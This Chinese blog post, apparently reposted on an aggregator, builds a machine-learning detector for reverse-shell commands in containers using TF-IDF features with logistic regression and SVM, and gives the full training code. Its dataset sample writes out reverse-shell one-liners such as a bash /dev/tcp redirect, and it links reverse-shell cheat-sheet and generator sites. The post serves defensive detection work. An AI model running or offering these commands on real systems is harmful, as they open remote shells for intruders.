【机器学习】基于机器学习的反弹shell命令识别

news2024/11/15 8:39:32

引言

本文介绍一个基于机器学习识别反弹shell的项目。 在主机安全检测中,一般是采用基于原理的方式识别反弹shell, 通过判断socket通信相关特征,可以准确地识别到主机中的反弹shell。 但是在容器场景下,检测反弹shell 的能力,可能会受到容器网络模式的限制,在容器默认运行的bridge 模式下, 是很难通过基于原理的方式识别反弹shell的。

  • bridge模式

    相当于Vmware中的Nat模式,容器使用独立network Namespace,并连接到docker0虚拟网卡(Docker进程首次启动时会在当前节点上创建一个名为docker0的桥设备,并默认配置其使用172.17.0.0/16网络,改网络是Bridge模式的一种实现,也是创建容器是默认使用的网络),通过docker0网桥以及Iptables nat表配置与宿主机通信;bridge模式是Docker默认的网络设置,此模式会为每一个容器分配Network Namespace、设置IP等,并将一个主机上的Docker容器连接到一个虚拟网桥上。
    
  • 反弹shell 参考资料

    https://xz.aliyun.com/t/6727

    https://help.aliyun.com/document_detail/206139.html

    这个文章讲的比较好,值得反复推敲。

这里有个反弹shell的生成网站

https://github.com/r00tSe7en/Reverse-shell-cheatsheet

  • 使用python执行反弹shell,得到的进程特征如下:

在这里插入图片描述

  • 使用nc执行反弹shell, 得到的进程特征如下:
    在这里插入图片描述
    本文希望基于进程的文本特征来判别反弹shell, 从而弥补一下当前反弹shell检测的能力。

这个项目主要是借鉴的github 上的项目, 这个项目是用来检测URL的,看了下数据集和代码,都比较简单容易上手。对于反弹shell 的数据集, 可以通过词频统计的方式, 来检测是否是反弹shell。

https://github.com/xiejava1018/urldetection

制作数据集

我们希望制作的数据集格式为csv文本, bad表示反弹shell, good表示正常请求

"bash -i >& /dev/tcp/127.0.0.1/8080 0>&1" , bad

对数据集的处理, 我们的思路如下:

  • 使用空格, 分号,逗号, 括号, 单引号,双引号, 方括号,圆括号,等于号对 文本进行分割
  • 去除特殊符号, 单引号,标点符号。

在线生成shell的网址:

https://www.hackjie.com/batchshell

https://www.hackjie.com/batchshell

https://github.com/r00tSe7en/Reverse-shell-cheatsheet

我们通过各种收集常见的反弹shell , 在收集一下正常的进程名称, 得到我们的数据集, 处理过后, 数据集如下, 其中使用符号 # 替换数字, 来消除各种ip端口带来的差异:


['bash', '-i', '>&', 'dev', 'tcp', '#########', '####', '####']
['bin', 'bash', '-i', '>', 'dev', 'tcp', '#########', '####', '###', '####']
['exec', '###', 'dev', 'tcp', '#########', '####', 'cat', '<&5', '|', 'while', 'read', 'line', 'do', '####', '>&5', 'done']
['exec', 'bin', 'sh', '##', 'dev', 'tcp', '#########', '####', '####', '####']
['######', 'exec', '#####', 'dev', 'tcp', '#########', '####', 'sh', '<&196', '>&196', '######']

训练源码

jupyter全量代码如下:

#%%

import pandas as pd
import numpy as np
import random
import pickle
from sklearn.model_selection import train_test_split
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import LogisticRegression
from sklearn import svm
import re


#%%
# 读取数据文件
data_csv = pd.read_excel('./data/data.xlsx', index_col=None)
print(data_csv)
#%%
data_df = pd.DataFrame(data_csv)
shell_df = np.array(data_df)
random.shuffle(shell_df)
y = [d[1] for d in shell_df]
input_shell = [d[0] for d in shell_df]

#%%
# 数据预处理的核心函数
def getTokens(input):
    # 将数字替换为如下字符
    flag = '#'
    command = input.lower()
    # 使用各种字符来分割一下数据
    shell_list = re.split('[ ,;:\'\"()=/\[\]]', command)
    result_list_tmp = []
    # 去除空格
    for i in shell_list:
        if i !='':
            result_list_tmp.append(i)
    # 把数字转变为其他符号
    for i,v in enumerate(result_list_tmp):
        if re.match('([0-9]|\.)', v):
            result_list_tmp[i] = flag * len(v)
    result_list = result_list_tmp
    return result_list

#%%
# 制作训练数据和测试数据
shell_vectorizer = TfidfVectorizer(tokenizer=getTokens)
x = shell_vectorizer.fit_transform(input_shell)
x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)

#%%
# 下面是使用逻辑回归的模型训练
l_regress = LogisticRegression()
l_regress.fit(x_train, y_train)
l_score = l_regress.score(x_test, y_test)
print("score: {0:.2f} %".format(100 * l_score))


#%%
# 下面是使用SVM的模型训练
svmModel=svm.LinearSVC()
svmModel.fit(x_train, y_train)
svm_score=svmModel.score(x_test, y_test)
print("score: {0:.2f} %".format(100 * svm_score))


#%%
# 保存模型的参数
file1 = './model/model.pkl'
with open(file1, 'wb') as f:
    pickle.dump(svmModel, f)
f.close()

训练结果:

  • 使用逻辑回归算法,准确率达到98%,
  • 使用SVM算法, 准确率达到100% (可能是数据量比较少导致的)

结论:

本项目的不足:

这是一个二分类问题, 检测正常命令/进程和反弹shell命令/进程,如果只看进程的话,攻防演练中发现反弹shell进程是非常容易伪装的, 可能进程的字符串并没有任何反弹shell的特征,这种情况下, 基于文本特征的机器学习检测反弹shell方法会受到限制。

本项目的优点:

准确率还是比较高的, 预测的速度也挺快。 这是一个简易容易上手的项目, 非常适用于以下场景:

基于文本的分类问题 & 文本的类别很大程度上和单词频率相关 & 文本类别与单词的先后顺序关联较小。

计划后续会分享下面主题的文章:

  • 机器学习: 准确率,查准率,查全率
  • 机器学习: TF-IDF算法
  • 机器学习: 逻辑回归算法
  • 机器学习: SVM算法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/57010.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]计算机毕业设计springboot疫情物资管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

2022年第十一届认证杯数学中国数学建模国际赛小美赛:C 题 对人类活动进行分类 建模方案及代码实现

2022年第十一届认证杯数学中国数学建模国际赛小美赛&#xff1a;C 题 对人类活动进行分类 建模方案及代码实现 1 题目 人类行为理解的一个重要方面是对日常活动的识别和监控。可穿戴活动识别系统可以在许多关键领域提高生活质量&#xff0c;如门诊监测、居家康复、跌倒检测等。…

[附源码]Python计算机毕业设计Django茂名特产销售商城网站

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

[Java安全]—再探Filter内存马

前言 关于tomcat反序列化注入回显内存马问题中&#xff0c;就是通过filter内存马进行反序列化动态注册的&#xff0c;但filter内存马由于当时学的时候就没有学的很明白&#xff0c;所以打算重新回顾一下。 前置知识 Tomcat 与 Servlet 的关系 Tomcat中有四种类型的Servlet容…

[Python私活案例]24行代码,轻松赚取400元,运用Selenium爬取39万条数据

今天分享一单来自金主爸爸的私单&#xff0c;运用简单的爬虫技巧&#xff0c;可以有效的规避反爬机制&#xff0c;正所谓“你有张良计&#xff0c;我有过云梯”。这个案例也很好的体现了python语音的优势&#xff0c;规避了非常复杂的底层逻辑&#xff0c;所见即所得&#xff0…

你真的看懂扩散模型(diffusion model)了吗?(从DALL·E 2讲起,GAN、VAE、MAE都有)

本文全网原创于CSDN&#xff1a;落难Coder &#xff0c;未经允许&#xff0c;不得转载&#xff01; 扩散模型简单介绍 我们来讲一下什么是扩散模型&#xff0c;如果你不了解一些工作&#xff0c;你可能不清楚它究竟是什么。那么我举两个例子说一下&#xff1a;AI作画&#xff…

分布滞后线性和非线性模型(DLNM)分析空气污染(臭氧)、温度对死亡率时间序列数据的影响...

全文下载链接 http://tecdat.cn/?p23947 分布滞后非线性模型&#xff08;DLNM&#xff09;表示一个建模框架&#xff0c;可以灵活地描述在时间序列数据中显示潜在非线性和滞后影响的关联。该方法论基于交叉基的定义&#xff0c;交叉基是由两组基础函数的组合表示的二维函数空间…

为什么要让img浮动:

为什么要浮动&#xff1a; 图片不浮动的话&#xff0c;图片和文字是像下面这样排版的&#xff1a; 代码&#xff1a; <img src"https://static.maizuo.com/pc/v5/usr/movie/1f25dd6943762288dfd84b961c98f478.jpg" /> <div><div>红发歌姬</d…

OpenAI发布ChatGPT:程序员瞬间不淡定了

OpenAI发布ChatGPT&#xff1a;程序员瞬间不淡定了 12月1日&#xff0c;OpenAI发布了针对对话场景优化的语言大模型ChatGPT。ChatGPT是InstructGPT的兄弟模型&#xff0c;可以以对话的形式与用户交互&#xff0c;这使得ChatGPT能够回答问题、承认错误、质疑假设、拒绝不当问题…

时尚品牌Gucci 的Web3元宇宙营销进行时ing

Gucci 宣布在 The Sandbox 中推出 “Gucci Vault Land” 古驰藏宝阁 —— 元宇宙中心 &#xff0c;成为第一个在 The Sandbox 虚拟世界中拥有专门用于 Web3 产品的主流时尚品牌。Gucci 美学概念空间开放日&#xff1a;10月27日-11月 9 日 2022 年 Gucci Vault Land建立虚拟世界…

数据结构薄弱知识点

数据结构串KMP算法树二叉树二叉树的基本概念二叉树的遍历&#xff08;&#xff01;非递归实现&#xff09;先序遍历中序遍历后序遍历&#xff08;&#x1f538;非递归实现&#xff09;&#x1f536;线索二叉树找先序遍历的前驱节点&#xff08;&#x1f538;&#xff09;和后继…

Spring学习:二、Bean的管理

4. Bean的管理 ​ Spring的基本Bean管理包括Bean配置&#xff0c;Bean实例化和Bean的依赖注入。这些管理可以通过手工编码的方式把每个Bean注册到容器中&#xff0c;也可以通过properties文件和xml文件配置Bean和Bean之间的依赖关系。通常我们的配置方式是XML作为配置文件。 …

基于纳芯微产品的尾灯方案介绍

文章目录1.前言2.方案简介2.1 概述2.2 功能介绍2.3 DEMO资料3.主要器件介绍3.1 LED Driver3.2 LDO3.3 CAN\LIN收发器4.演示视频5.推荐阅读1.前言 最近拜访一些做尾灯模组的客户了解到&#xff0c;目前LED Driver依然紧缺&#xff0c;特别是TPS929120&#xff0c;BD18331这些差…

网络编程,UDP通信程序,TCP通信程序

一、网络编程 网络编程概述 网络编程 : 在网络[通信协议]下&#xff0c;不同计算机上运行的程序&#xff0c;可以进行[数据传输] 思考&#xff1a; A电脑中的QQ&#xff0c;发送消息给B电脑中的QQ。那么需要知道[哪些条件]才能发送&#xff1f; 在这个故事场景下&…

GitHub 的基本使用

文章目录一、使用前工作二、GitHub 的基本使用一、使用前工作 下载 uu 加速器&#xff0c;用于访问 GitHub 网站&#xff08;有魔法工具的小伙伴请忽略&#xff09;&#xff1b;uu 加速器下载安装完毕后搜索框搜索学术资源并点击加速&#xff08;如图1.2.1&#xff09;&#xf…

【Android App】人脸识别中使用Opencv比较两张人脸相似程度实战(附源码和演示 超详细)

需要全部代码请点赞关注收藏后评论区留言私信~~~ 一、比较两张人脸的相似程度 直方图由一排纵向的竖条或者竖线组成&#xff0c;横轴代表数据类型&#xff0c;纵轴代表数据多少。 图像直方图经常应用于特征提取、图像匹配等方面。 假设有两幅图像&#xff0c;它们的直方图很相…

Vue项目devServer.proxy代理配置详解

Vue项目devServer.proxy代理配置详解目录概述需求&#xff1a;设计思路实现思路分析1..config.js文件中&#xff0c;引入依赖项2.devServer.proxy 可以是一个指向开发环境 API 服务器的字符串3.更多控制行为参考资料和推荐阅读Survive by day and develop by night. talk for i…

语言模型也会“地域黑”?实验表明ALBERT最能黑,BART最友善

文 | ZenMoore前言今天我们来谈论一个不那么硬核的问题&#xff1a;预训练语言模型中的歧视与偏见(bias)。这个问题虽然不像技术问题那样核心&#xff0c;但仍然非常重要。想象一下&#xff1a;你接到了一笔外交级别的订单&#xff0c;要做一个生成语言模型&#xff0c;先不论效…

NNDL 实验七 循环神经网络(3)LSTM的记忆能力实验

文章目录6.3 LSTM的记忆能力实验6.3.1 模型构建6.3.1.1 LSTM层6.3.1.2 模型汇总6.3.2 模型训练6.3.2.1 训练指定长度的数字预测模型6.3.2.2 多组训练6.3.2.3 损失曲线展示【思考题1】LSTM与SRN实验结果对比&#xff0c;谈谈看法。&#xff08;选做&#xff09;6.3.3 模型评价6.…

Android OpenGL ES 学习(六) – 使用 VBO、VAO 和 EBO/IBO 优化程序

OpenGL 学习教程 Android OpenGL ES 学习(一) – 基本概念 Android OpenGL ES 学习(二) – 图形渲染管线和GLSL Android OpenGL ES 学习(三) – 绘制平面图形 Android OpenGL ES 学习(四) – 正交投屏 Android OpenGL ES 学习(五) – 渐变色 代码工程地址&#xff1a; https://…